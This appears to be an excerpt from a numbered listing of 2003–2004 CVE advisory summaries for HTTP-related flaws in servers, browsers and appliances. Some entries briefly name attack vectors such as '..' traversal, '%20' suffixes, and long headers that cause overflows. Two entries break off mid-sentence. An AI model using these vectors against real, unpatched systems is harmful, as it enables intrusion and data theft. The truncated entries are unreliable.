13421| [CVE-2004-1223] The Management Agent in F-Secure Policy Manager 5.11.2810 allows remote attackers to gain sensitive information, such as the absolute path for the web server, via an HTTP request to fsmsh.dll without any parameters.
13422| [CVE-2004-1169] MaxDB WebTools 7.5.00.18 and earlier allows remote attackers to cause a denial of service (application crash) via an HTTP GET request for a file that does not exist, followed by two carriage returns, which causes a NULL dereference.
13423| [CVE-2004-1141] The HTTP dissector in Ethereal 0.10.1 through 0.10.7 allows remote attackers to cause a denial of service (application crash) via a certain packet that causes the dissector to access previously-freed memory.
13424| [CVE-2004-1133] Multiple cross-site scripting (XSS) vulnerabilities in Microsoft W3Who ISAPI (w3who.dll) allow remote attackers to inject arbitrary HTML and web script via (1) HTTP headers such as "Connection" or (2) invalid parameters whose values are echoed in the resulting error message.
13425| [CVE-2004-1120] Mulitple buffer overflows in (1) http.c, (2) http-retr.c, (3) main.c and other code that handles network protocols in ProZilla 1.3.6-r2 and earlier allow remote servers to execute arbitrary code via a long Location header.
13426| [CVE-2004-1101] mailpost.exe in MailPost 5.1.1sv, and possibly earlier versions, allows remote attackers to cause a denial of service (server crash), leak sensitive pathname information in the resulting error message, and execute a cross-site scripting (XSS) attack via an HTTP request that contains a / (backslash) and arbitrary webscript before the requested file, which leaks the pathname and does not quote the script in the resulting Visual Basic error message.
13427| [CVE-2004-1084] Apache for Apple Mac OS X 10.2.8 and 10.3.6 allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+, which bypass Apache file handles.
13428| [CVE-2004-1053] Integer overflow in fetch on FreeBSD 4.1 through 5.3 allows remote malicious servers to execute arbitrary code via certain HTTP headers in an HTTP response, which lead to a buffer overflow.
13429| [CVE-2004-1034] Buffer overflow in the http_open function in Kaffeine before 0.5, whose code is also used in gxine before 0.3.3, allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a long Content-Type header for a Real Audio Media (.ram) playlist file.
13430| [CVE-2004-0989] Multiple buffer overflows in libXML 2.6.12 and 2.6.13 (libxml2), and possibly other versions, may allow remote attackers to execute arbitrary code via (1) a long FTP URL that is not properly handled by the xmlNanoFTPScanURL function, (2) a long proxy URL containing FTP data that is not properly handled by the xmlNanoFTPScanProxy function, and other overflows related to manipulation of DNS length values, including (3) xmlNanoFTPConnect, (4) xmlNanoHTTPConnectHost, and (5) xmlNanoHTTPConnectHost.
13431| [CVE-2004-0983] The CGI module in Ruby 1.6 before 1.6.8, and 1.8 before 1.8.2, allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a certain HTTP request.
13432| [CVE-2004-0982] Buffer overflow in the getauthfromURL function in httpget.c in mpg123 pre0.59s and mpg123 0.59r could allow remote attackers or local users to execute arbitrary code via an mp3 file that contains a long string before the @ (at sign) in a URL.
13433| [CVE-2004-0942] Apache webserver 2.0.52 and earlier allows remote attackers to cause a denial of service (CPU consumption) via an HTTP GET request with a MIME header containing multiple lines with a large number of space characters.
13434| [CVE-2004-0931] MySQL MaxDB before 7.5.00.18 allows remote attackers to cause a denial of service (crash) via an HTTP request to webdbm with high ASCII values in the Server field, which triggers an assert error in the IsAscii7 function.
13435| [CVE-2004-0928] The Microsoft IIS Connector in JRun 4.0 and Macromedia ColdFusion MX 6.0, 6.1, and 6.1 J2EE allows remote attackers to bypass authentication and view source files, such as .asp, .pl, and .php files, via an HTTP request that ends in "
13436| [CVE-2004-0917] The default installation of Vignette Application Portal installs the diagnostic utility without authentication requirements, which allows remote attackers to gain sensitive information, such as server and OS version, and conduct unauthorized activities via an HTTP request to /diag.
13437| [CVE-2004-0872] Opera does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
13438| [CVE-2004-0871] Mozilla does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
13439| [CVE-2004-0870] KDE Konqueror does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
13440| [CVE-2004-0869] Internet Explorer does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
13441| [CVE-2004-0867] Mozilla Firefox 0.9.2 allows web sites to set cookies for country-specific top-level domains, such as .ltd.uk, .plc.uk, and .sch.uk, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session. NOTE: it was later reported that 2.x is also affected.
13442| [CVE-2004-0866] Internet Explorer 6.0 allows web sites to set cookies for country-specific top-level domains, such as .ltd.uk, .plc.uk, and .sch.uk, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session.
13443| [CVE-2004-0799] The HTTP daemon in Ipswitch WhatsUp Gold 8.03 and 8.03 Hotfix 1 allows remote attackers to cause a denial of service (server crash) via a GET request containing an MS-DOS device name, as demonstrated using "prn.htm".
13444| [CVE-2004-0786] The IPv6 URI parsing routines in the apr-util library for Apache 2.0.50 and earlier allow remote attackers to cause a denial of service (child process crash) via a certain URI, as demonstrated using the Codenomicon HTTP Test Tool.
13445| [CVE-2004-0746] Konqueror in KDE 3.2.3 and earlier allows web sites to set cookies for country-specific top-level domains, such as .ltd.uk, .plc.uk and .firm.in, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session.
13446| [CVE-2004-0740] The HTTP server in Lexmark T522 and possibly other models allows remote attackers to cause a denial of service (server crash, reload, or hang) via an HTTP header with a long Host field, possibly triggering a buffer overflow.
13447| [CVE-2004-0700] Format string vulnerability in the mod_proxy hook functions function in ssl_engine_log.c in mod_ssl before 2.8.19 for Apache before 1.3.31 may allow remote attackers to execute arbitrary messages via format string specifiers in certain log messages for HTTPS that are handled by the ssl_log function.
13448| [CVE-2004-0684] WebSphere Edge Component Caching Proxy in WebSphere Edge Server 5.02, with the JunctionRewrite directive enabled, allows remote attackers to cause a denial of service via an HTTP GET request without any parameters.
13449| [CVE-2004-0680] Zoom X3 ADSL modem has a terminal running on port 254 that can be accessed using the default HTML management password, even if the password has been changed for the HTTP interface, which could allow remote attackers to gain unauthorized access.
13450| [CVE-2004-0662] PowerPortal 1.x allows remote attackers to gain sensitive information via invalid or missing parameters in HTTP requests to (1) resize.php or (2) modules.php, which reveals the path in an error message.
13451| [CVE-2004-0646] Buffer overflow in the WriteToLog function for JRun 3.0 through 4.0 web server connectors, such as (1) mod_jrun and (2) mod_jrun20 for Apache, with verbose logging enabled, allows remote attackers to execute arbitrary code via a long HTTP header Content-Type field or other fields.
13452| [CVE-2004-0613] osTicket allows remote attackers to view sensitive uploaded files and possibly execute arbitrary code via an HTTP request that uploads a PHP file to the ticket attachments directory.
13453| [CVE-2004-0611] Web-Based Administration in Netgear FVS318 VPN Router allows remote attackers to cause a denial of service (no new connections) via a large number of open HTTP connections.
13454| [CVE-2004-0610] The Web administration interface in Microsoft MN-500 Wireless Router allows remote attackers to cause a denial of service (connection refusal) via a large number of open HTTP connections.
13455| [CVE-2004-0604] The HTTP client and server in giFT-FastTrack 0.8.6 and earlier allows remote attackers to cause a denial of service (crash), possibly via an empty search query, which triggers a NULL dereference.
13456| [CVE-2004-0600] Buffer overflow in the Samba Web Administration Tool (SWAT) in Samba 3.0.2 to 3.0.4 allows remote attackers to execute arbitrary code via an invalid base-64 character during HTTP basic authentication.
13457| [CVE-2004-0551] Cisco CatOS 5.x before 5.5(20) through 8.x before 8.2(2) and 8.3(2)GLX, as used in Catalyst switches, allows remote attackers to cause a denial of service (system crash and reload) by sending invalid packets instead of the final ACK portion of the three-way handshake to the (1) Telnet, (2) HTTP, or (3) SSH services, aka "TCP-ACK DoS attack."
13458| [CVE-2004-0549] The WebBrowser ActiveX control, or the Internet Explorer HTML rendering engine (MSHTML), as used in Internet Explorer 6, allows remote attackers to execute arbitrary code in the Local Security context by using the showModalDialog method and modifying the location to execute code such as Javascript, as demonstrated using (1) delayed HTTP redirect operations, and an HTTP response with a Location: header containing a "URL:" prepended to a "ms-its" protocol URI, or (2) modifying the location attribute of the window, as exploited by the Download.ject (aka Scob aka Toofer) using the ADODB.Stream object.
13459| [CVE-2004-0493] The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.
13460| [CVE-2004-0492] Heap-based buffer overflow in proxy_util.c for mod_proxy in Apache 1.3.25 to 1.3.31 allows remote attackers to cause a denial of service (process crash) and possibly execute arbitrary code via a negative Content-Length HTTP header field, which causes a large amount of data to be copied.
13461| [CVE-2004-0474] Help Center (HelpCtr.exe) may allow remote attackers to read or execute arbitrary files via an "http://" or "file://" argument to the topic parameter in an hcp:// URL. NOTE: since the initial report of this problem, several researchers have been unable to reproduce this issue.
13462| [CVE-2004-0462] The built-in web servers for multiple networking devices do not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the same server.
13463| [CVE-2004-0456] Stack-based buffer overflow in pavuk 0.9pl28, 0.9pl27, and possibly other versions allows remote web sites to execute arbitrary code via a long HTTP Location header.
13464| [CVE-2004-0386] Buffer overflow in the HTTP parser for MPlayer 1.0pre3 and earlier, 0.90, and 0.91 allows remote attackers to execute arbitrary code via a long Location header.
13465| [CVE-2004-0385] Heap-based buffer overflow in Oracle 9i Application Server Web Cache 9.0.4.0.0, 9.0.3.1.0, 9.0.2.3.0, and 9.0.0.4.0 allows remote attackers to execute arbitrary code via a long HTTP request method header to the Web Cache listener. NOTE: due to the vagueness of the Oracle advisory, it is not clear whether there are additional issues besides this overflow, although the advisory alludes to multiple "vulnerabilities."
13466| [CVE-2004-0374] Interchange before 5.0.1 allows remote attackers to "expose the content of arbitrary variables" and read or modify sensitive SQL information via an HTTP request ending with the "__SQLUSER__" string.
13467| [CVE-2004-0356] Stack-based buffer overflow in Supervisor Report Center in SL Mail Pro 2.0.9 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a long HTTP sub-version.
13468| [CVE-2004-0349] Directory traversal vulnerability in GWeb HTTP Server 0.6 allows remote attackers to view arbitrary files via a .. (dot dot) in the URL.
13469| [CVE-2004-0335] LAN SUITE Web Mail 602Pro, when configured to use the "Directory browsing" feature, allows remote attackers to obtain a directory listing via an HTTP request to (1) index.html, (2) cgi-bin/, or (3) users/.
13470| [CVE-2004-0334] InnoMedia VideoPhone allows remote attackers to bypass Basic Authorization via an HTTP request to (1) videophone_admindetail.asp, (2) videophone_syscfg.asp, (3) videophone_upgrade.asp, or (4) videophone_sysctrl.asp that contains a trailing / (slash). NOTE: the original report mentioned AXIS 2100 Network Camera, but this was likely a cut-and-paste error.
13471| [CVE-2004-0331] Heap-based buffer overflow in Dell OpenManage Web Server 3.4.0 allows remote attackers to cause a denial of service (crash) via a HTTP POST with a long application variable.
13472| [CVE-2004-0313] Buffer overflow in PSOProxy 0.91 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long HTTP request, as demonstrated using a long (1) GET argument or (2) method name.
13473| [CVE-2004-0293] Directory traversal vulnerability in ShopCartCGI 2.3 allows remote attackers to retrieve arbitrary files via a .. (dot dot) in a HTTP request to (1) gotopage.cgi or (2) genindexpage.cgi.
13474| [CVE-2004-0292] Buffer overflow in KarjaSoft Sami HTTP Server 1.0.4 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
13475| [CVE-2004-0281] Caucho Technology Resin 2.1.12 allows remote attackers to gain sensitive information and view the contents of the /WEB-INF/ directory via an HTTP request for "WEB-INF..", which is equivalent to "WEB-INF" in Windows.
13476| [CVE-2004-0280] Caucho Technology Resin 2.1.12 allows remote attackers to view JSP source via an HTTP request to a .jsp file that ends in a "%20" (encoded space character), e.g. index.jsp%20.
13477| [CVE-2004-0276] The get_real_string function in Monkey HTTP Daemon (monkeyd) 0.8.1 and earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field.
13478| [CVE-2004-0271] Multiple cross-site scripting vulnerabilities (XSS) in MaxWebPortal allow remote attackers to execute arbitrary web script as other users via (1) the sub_name parameter of dl_showall.asp, (2) the SendTo parameter in Personal Messages, (3) the HTTP_REFERER for down.asp, or (4) the image name of an Avatar in the register form.
13479| [CVE-2004-0264] palmhttpd for PalmOS allows remote attackers to cause a denial of service (crash) by establishing two simultaneous HTTP connections, which exceeds the PalmOS accept queue.
13480| [CVE-2004-0259] The check_referer() function in Formmail.php 5.0 and earlier allows remote attackers to bypass access restrictions via an empty or spoofed HTTP Referer, as demonstrated using an application on the same web server that contains a cross-site scripting (XSS) issue.
13481| [CVE-2004-0245] Web Crossing 4.x and 5.x allows remote attackers to cause a denial of service (crash) by sending a HTTP POST request with a large or negative Content-Length, which causes an integer divide-by-zero.
13482| [CVE-2004-0130] login.php in phpGedView 2.65 and earlier allows remote attackers to obtain sensitive information via an HTTP request to login.php that does not contain the required username or password parameters, which causes the information to be leaked in an error message.
13483| [CVE-2004-0113] Memory leak in ssl_engine_io.c for mod_ssl in Apache 2 before 2.0.49 allows remote attackers to cause a denial of service (memory consumption) via plain HTTP requests to the SSL port of an SSL-enabled server.
13484| [CVE-2004-0110] Buffer overflow in the (1) nanohttp or (2) nanoftp modules in XMLSoft Libxml 2 (Libxml2) 2.6.0 through 2.6.5 allow remote attackers to execute arbitrary code via a long URL.
13485| [CVE-2004-0096] Unknown vulnerability in mod_python 2.7.9 allows remote attackers to cause a denial of service (httpd crash) via a certain query string, a variant of CAN-2003-0973.
13486| [CVE-2004-0095] McAfee ePolicy Orchestrator agent allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value, possibly triggering a buffer overflow.
13487| [CVE-2004-0072] Directory traversal vulnerability in Accipiter Direct Server 6.0 allows remote attackers to read arbitrary files via encoded \.. (backslash .., "%5c%2e%2e") sequences in an HTTP request.
13488| [CVE-2004-0049] Helix Universal Server/Proxy 9 and Mobile Server 10 allow remote attackers to cause a denial of service via certain HTTP POST messages to the Administration System port.
13489| [CVE-2004-0039] Multiple format string vulnerabilities in HTTP Application Intelligence (AI) component in Check Point Firewall-1 NG-AI R55 and R54, and Check Point Firewall-1 HTTP Security Server included with NG FP1, FP2, and FP3 allows remote attackers to execute arbitrary code via HTTP requests that cause format string specifiers to be used in an error message, as demonstrated using the scheme of a URI.
13490| [CVE-2004-0038] McAfee ePolicy Orchestrator (ePO) 2.5.1 Patch 13 and 3.0 SP2a Patch 3 allows remote attackers to execute arbitrary commands via certain HTTP POST requests to the spipe/file handler on ePO TCP port 81.
13491| [CVE-2004-0031] PHPGEDVIEW 2.61 allows remote attackers to reinstall the software and change the administrator password via a direct HTTP request to editconfig.php.
13492| [CVE-2004-0006] Multiple buffer overflows in Gaim 0.75 and earlier, and Ultramagnetic before 0.81, allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) cookies in a Yahoo web connection, (2) a long name parameter in the Yahoo login web page, (3) a long value parameter in the Yahoo login page, (4) a YMSG packet, (5) the URL parser, and (6) HTTP proxy connect.
13493| [CVE-2003-1587] Cross-site scripting (XSS) vulnerability in LoganPro allows remote attackers to inject arbitrary web script or HTML via a crafted User-Agent HTTP header.
13494| [CVE-2003-1586] Cross-site scripting (XSS) vulnerability in WebExpert allows remote attackers to inject arbitrary web script or HTML via a crafted User-Agent HTTP header.
13495| [CVE-2003-1582] Microsoft Internet Information Services (IIS) 6.0, when DNS resolution is enabled for client IP addresses, allows remote attackers to inject arbitrary text into log files via an HTTP request in conjunction with a crafted DNS response, as demonstrated by injecting XSS sequences, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
13496| [CVE-2003-1581] The Apache HTTP Server 2.0.44, when DNS resolution is enabled for client IP addresses, allows remote attackers to inject arbitrary text into log files via an HTTP request in conjunction with a crafted DNS response, as demonstrated by injecting XSS sequences, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
13497| [CVE-2003-1580] The Apache HTTP Server 2.0.44, when DNS resolution is enabled for client IP addresses, uses a logging format that does not identify whether a dotted quad represents an unresolved IP address, which allows remote attackers to spoof IP addresses via crafted DNS responses containing numerical top-level domains, as demonstrated by a forged 123.123.123.123 domain name, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
13498| [CVE-2003-1578] Sun ONE (aka iPlanet) Web Server 4.1 through SP12 and 6.0 through SP5, when DNS resolution is enabled for client IP addresses, allows remote attackers to hide HTTP requests from the log-preview functionality by accompanying the requests with crafted DNS responses specifying a domain name beginning with a "format=" substring, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
13499| [CVE-2003-1577] Sun ONE (aka iPlanet) Web Server 4.1 through SP12 and 6.0 through SP5, when DNS resolution is enabled for client IP addresses, allows remote attackers to inject arbitrary text into log files, and conduct cross-site scripting (XSS) attacks involving the iPlanet Log Analyzer, via an HTTP request in conjunction with a crafted DNS response, related to an "Inverse Lookup Log Corruption (ILLC)" issue, a different vulnerability than CVE-2002-1315 and CVE-2002-1316.
13500| [CVE-2003-1569] GoAhead WebServer before 2.1.5 on Windows 95, 98, and ME allows remote attackers to cause a denial of service (daemon crash) via an HTTP request with a (1) con, (2) nul, (3) clock$, or (4) config$ device name in a path component, different vectors than CVE-2001-0385.
13501| [CVE-2003-1567] The undocumented TRACK method in Microsoft Internet Information Services (IIS) 5.0 returns the content of the original request in the body of the response, which makes it easier for remote attackers to steal cookies and authentication credentials, or bypass the HttpOnly protection mechanism, by using TRACK to read the contents of the HTTP headers that are returned in the response, a technique that is similar to cross-site tracing (XST) using HTTP TRACE.
13502| [CVE-2003-1561] Opera, probably before 7.50, sends Referer headers containing https:// URLs in requests for http:// URLs, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
13503| [CVE-2003-1560] Netscape 4 sends Referer headers containing https:// URLs in requests for http:// URLs, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
13504| [CVE-2003-1559] Microsoft Internet Explorer 5.22, and other 5 through 6 SP1 versions, sends Referer headers containing https:// URLs in requests for http:// URLs, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
13505| [CVE-2003-1558] Buffer overflow in httpd.c of fnord 1.6 allows remote attackers to create a denial of service (crash) and possibly execute arbitrary code via a long CGI request passed to the do_cgi function.
13506| [CVE-2003-1543] Cross-site scripting (XSS) vulnerability in Bajie Http Web Server 0.95zxe, 0.95zxc, and possibly others, allows remote attackers to inject arbitrary web script or HTML via the query string, which is reflected in an error message.
13507| [CVE-2003-1511] Cross-site scripting (XSS) vulnerability in Bajie Java HTTP Server 0.95 through 0.95zxv4 allows remote attackers to inject arbitrary web script or HTML via (1) the query string to test.txt, (2) the guestName parameter to the custMsg servlet, or (3) the cookiename parameter to the CookieExample servlet.
13508| [CVE-2003-1510] TinyWeb 1.9 allows remote attackers to cause a denial of service (CPU consumption) via a ".%00." in an HTTP GET request to the cgi-bin directory.
13509| [CVE-2003-1497] Buffer overflow in the system log viewer of Linksys BEFSX41 1.44.3 allows remote attackers to cause a denial of service via an HTTP request with a long Log_Page_Num variable.
13510| [CVE-2003-1492] Netscape Navigator 7.0.2 and Mozilla allows remote attackers to access cookie information in a different domain via an HTTP request for a domain with an extra . (dot) at the end.
13511| [CVE-2003-1490] SonicWall Pro running firmware 6.4.0.1 allows remote attackers to cause a denial of service (device reset) via a long HTTP POST to the internal interface, possibly due to a buffer overflow.
13512| [CVE-2003-1486] Phorum 3.4 through 3.4.2 allows remote attackers to obtain the full path of the web server via an incorrect HTTP request to (1) smileys.php, (2) quick_listrss.php, (3) purge.php, (4) news.php, (5) memberlist.php, (6) forum_listrss.php, (7) forum_list_rdf.php, (8) forum_list.php, or (9) move.php, which leaks the information in an error message.
13513| [CVE-2003-1481] CommuniGate Pro 3.1 through 4.0.6 sends the session ID in the referer field for an HTTP request for an image, which allows remote attackers to hijack mail sessions via an e-mail with an IMG tag that references a malicious URL that captures the referer.
13514| [CVE-2003-1420] Cross-site scripting (XSS) vulnerability in Opera 6.0 through 7.0 with automatic redirection disabled allows remote attackers to inject arbitrary web script or HTML via the HTTP Location header.
13515| [CVE-2003-1418] Apache HTTP Server 1.3.22 through 1.3.27 on OpenBSD allows remote attackers to obtain sensitive information via (1) the ETag header, which reveals the inode number, or (2) multipart MIME boundary, which reveals child proccess IDs (PID).
13516| [CVE-2003-1415] NetCharts XBRL Server 4.0.0 allows remote attackers to obtain sensitive information via an HTTP request with an invalid chunked transfer encoding specification.
13517| [CVE-2003-1409] TOPo 1.43 allows remote attackers to obtain sensitive information by sending an HTTP request with an invalid parameter to (1) in.php or (2) out.php, which reveals the path to the TOPo directory in the error message.
13518| [CVE-2003-1408] Lotus Domino Server 5.0 and 6.0 allows remote attackers to read the source code for files via an HTTP request with a filename with a trailing dot.
13519| [CVE-2003-1397] The PluginContext object of Opera 6.05 and 7.0 allows remote attackers to cause a denial of service (crash) via an HTTP request containing a long string that gets passed to the ShowDocument method.
13520| [CVE-2003-1388] Buffer overflow in Opera 7.02 Build 2668 allows remote attackers to crash Opera via a long HTTP request ending in a .ZIP extension.
13521| [CVE-2003-1386] AXIS 2400 Video Server 2.00 through 2.33 allows remote attackers to obtain sensitive information via an HTTP request to /support/messages, which displays the server's /var/log/messages file.
13522| [CVE-2003-1383] WEB-ERP 0.1.4 and earlier allows remote attackers to obtain sensitive information via an HTTP request for the logicworks.ini file, which contains the MySQL database username and password.
13523| [CVE-2003-1364] Aprelium Technologies Abyss Web Server 1.1.2, and possibly other versions before 1.1.4, allows remote attackers to cause a denial of service (crash) via an HTTP GET message with empty (1) Connection or (2) Range fields.
13524| [CVE-2003-1338] CRLF injection vulnerability in Aprelium Abyss Web Server 1.1.2 and earlier allows remote attackers to inject arbitrary HTTP headers and possibly conduct HTTP Response Splitting attacks via CRLF sequences in the Location header.
13525| [CVE-2003-1337] Heap-based buffer overflow in Aprelium Abyss Web Server 1.1.2 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
13526| [CVE-2003-1321] Buffer overflow in Avant Browser 8.02 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long URL in an HTTP request.
13527| [CVE-2003-1307] ** DISPUTED ** The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP."
13528| [CVE-2003-1306] Microsoft URLScan 2.5, with the RemoveServerHeader option enabled, allows remote attackers to obtain sensitive information (server name and version) via an HTTP request that generates certain errors such as 400 "Bad Request," which leak the Server header in the response.
13529| [CVE-2003-1286] HTTP Proxy in Sambar Server before 6.0 beta 6, when security.ini lacks a 127.0.0.1 proxydeny entry, allows remote attackers to send proxy HTTP requests to the Sambar Server's administrative interface and external web servers, by making a "Connection: keep-alive" request before the proxy requests.
13530| [CVE-2003-1271] Cross-site scripting vulnerability (XSS) in AN HTTP 1.41e allows remote attackers to execute arbitrary web script or HTML as other users via a URL containing the script.
13531| [CVE-2003-1270] AN HTTP 1.41e allows remote attackers to cause a denial of service (borken pipe) via an HTTP request to aux.cgi with a long argument, possibly triggering a buffer overflow or MS-DOS device vulnerability.
13532| [CVE-2003-1269] AN HTTP 1.41e allows remote attackers to obtain the root web server path via an HTTP request with a long argument to a script, which leaks the path in an error message.
13533| [CVE-2003-1263] ICAL.EXE in iCal 3.7 allows remote attackers to cause a denial of service (crash) via a malformed HTTP request, possibly due to an invalid method name.
13534| [CVE-2003-1262] Buffer overflow in the http_fetch function of HTTP Fetcher 1.0.0 and 1.0.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a URL request via a long (1) host, (2) referer, or (3) userAgent value.
13535| [CVE-2003-1228] Buffer overflow in the prepare_reply function in request.c for Mathopd 1.2 through 1.5b13, and possibly earlier versions, allows remote attackers to cause a denial of service (server crash) and possibly execute arbitrary code via an HTTP request with a long path.
13536| [CVE-2003-1209] The Post_Method function in Monkey HTTP Daemon before 0.6.2 allows remote attackers to cause a denial of service (crash) via a POST request without a Content-Type header.
13537| [CVE-2003-1198] connection.c in Cherokee web server before 0.4.6 allows remote attackers to cause a denial of service via an HTTP POST request without a Content-Length header field.
13538| [CVE-2003-1186] Buffer overflow in TelCondex SimpleWebServer 2.12.30210 Build3285 allows remote attackers to execute arbitrary code via a long HTTP Referer header.
13539| [CVE-2003-1181] Advanced Poll 2.0.2 allows remote attackers to obtain sensitive information via an HTTP request to info.php, which invokes the phpinfo() function.
13540| [CVE-2003-1168] HTTP Commander 4.0 allows remote attackers to obtain sensitive information via an HTTP request that contains a . (dot) in the file parameter, which reveals the installation path in an error message.
13541| [CVE-2003-1166] Directory traversal vulnerability in (1) Openfile.aspx and (2) Html.aspx in HTTP Commander 4.0 allows remote attackers to view arbitrary files via a .. (dot dot) in the file parameter.
13542| [CVE-2003-1165] Buffer overflow in BRS WebWeaver 1.06 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP request with a long User-Agent header.
13543| [CVE-2003-1160] FlexWATCH Network video server 132 allows remote attackers to bypass authentication and gain administrative privileges via an HTTP request to aindex.htm that contains double leading slashes (//).
13544| [CVE-2003-1159] Plug and Play Web Server Proxy 1.0002c allows remote attackers to cause a denial of service (server crash) via an invalid URI in an HTTP GET request to TCP port 8080.
13545| [CVE-2003-1152] WebTide 7.04 allows remote attackers to list arbitrary directories via an HTTP request for %3f.jsp (encoded "?").
13546| [CVE-2003-1137] Charles Steinkuehler sh-httpd 0.3 and 0.4 allows remote attackers to read files or execute arbitrary CGI scripts via a GET request that contains an asterisk (*) wildcard character.
13547| [CVE-2003-1127] Whale Communications e-Gap 2.5 on Windows 2000 allows remote attackers to obtain the source code for the login page via the HTTP TRACE method, which bypasses the preprocessor.
13548| [CVE-2003-1085] The HTTP server in the Thomson TWC305, TWC315, and TCW690 cable modem ST42.03.0a allows remote attackers to cause a denial of service (unstable service) via a long GET request, possibly caused by a buffer overflow.
13549| [CVE-2003-1084] Monit 1.4 to 4.1 allows remote attackers to cause a denial of service (daemon crash) via an HTTP POST request with a negative Content-Length field.
13550| [CVE-2003-1083] Stack-based buffer overflow in Monit 1.4 to 4.1 allows remote attackers to execute arbitrary code via a long HTTP request.
13551| [CVE-2003-1039] Multiple buffer overflows in the mySAP.com architecture for SAP allow remote attackers to execute arbitrary code via a long HTTP Host header to (1) Message Server, (2) Web Dispatcher, or (3) Application Server.
13552| [CVE-2003-1036] Multiple buffer overflows in the AGate component for SAP Internet Transaction Server (ITS) allow remote attackers to execute arbitrary code via long (1) ~command, (2) ~runtimemode, or (3) ~session parameters, or (4) a long HTTP Content-Type header.
13553| [CVE-2003-1028] The download function of Internet Explorer 6 SP1 allows remote attackers to obtain the cache directory name via an HTTP response with an invalid ContentType and a .htm file, which could allow remote attackers to bypass security mechanisms that rely on random names, as demonstrated by threadid10008.
13554| [CVE-2003-1001] Buffer overflow in the Cisco Firewall Services Module (FWSM) in Cisco Catalyst 6500 and 7600 series devices allows remote attackers to cause a denial of service (crash and reload) via HTTP auth requests for (1) TACACS+ or (2) RADIUS authentication.
13555| [CVE-2003-0973] Unknown vulnerability in mod_python 3.0.x before 3.0.4, and 2.7.x before 2.7.9, allows remote attackers to cause a denial of service (httpd crash) via a certain query string.
13556| [CVE-2003-0963] Buffer overflows in (1) try_netscape_proxy and (2) try_squid_eplf for lftp 2.6.9 and earlier allow remote HTTP servers to execute arbitrary code via long directory names that are processed by the ls or rels commands.
13557| [CVE-2003-0904] Microsoft Exchange 2003 and Outlook Web Access (OWA), when configured to use NTLM authentication, does not properly reuse HTTP connections, which can cause OWA users to view mailboxes of other users when Kerberos has been disabled as an authentication method for IIS 6.0, e.g. when SharePoint Services 2.0 is installed.
13558| [CVE-2003-0899] Buffer overflow in defang in libhttpd.c for thttpd 2.21 to 2.23b1 allows remote attackers to execute arbitrary code via requests that contain '<' or '>' characters, which trigger the overflow when the characters are expanded to "<
13559| [CVE-2003-0866] The Catalina org.apache.catalina.connector.http package in Tomcat 4.0.x up to 4.0.3 allows remote attackers to cause a denial of service via several requests that do not follow the HTTP protocol, which causes Tomcat to reject later requests.
13560| [CVE-2003-0865] Heap-based buffer overflow in readstring of httpget.c for mpg123 0.59r and 0.59s allows remote attackers to execute arbitrary code via a long request.
13561| [CVE-2003-0843] Format string vulnerability in mod_gzip_printf for mod_gzip 1.3.26.1a and earlier, and possibly later official versions, when running in debug mode and using the Apache log, allows remote attackers to execute arbitrary code via format string characters in an HTTP GET request with an "Accept-Encoding: gzip" header.
13562| [CVE-2003-0835] Multiple buffer overflows in asf_http_request of MPlayer before 0.92 allows remote attackers to execute arbitrary code via an ASX header with a long hostname.
13563| [CVE-2003-0807] Buffer overflow in the COM Internet Services and in the RPC over HTTP Proxy components for Microsoft Windows NT Server 4.0, NT 4.0 Terminal Server Edition, 2000, XP, and Server 2003 allows remote attackers to cause a denial of service via a crafted request.
13564| [CVE-2003-0803] Nokia Electronic Documentation (NED) 5.0 allows remote attackers to use NED as an open HTTP proxy via a URL in the location parameter, which NED accesses and returns to the user.
13565| [CVE-2003-0754] nphpd.php in newsPHP 216 and earlier allows remote attackers to bypass authentication via an HTTP request with a modified nphp_users array, which is used for authentication.
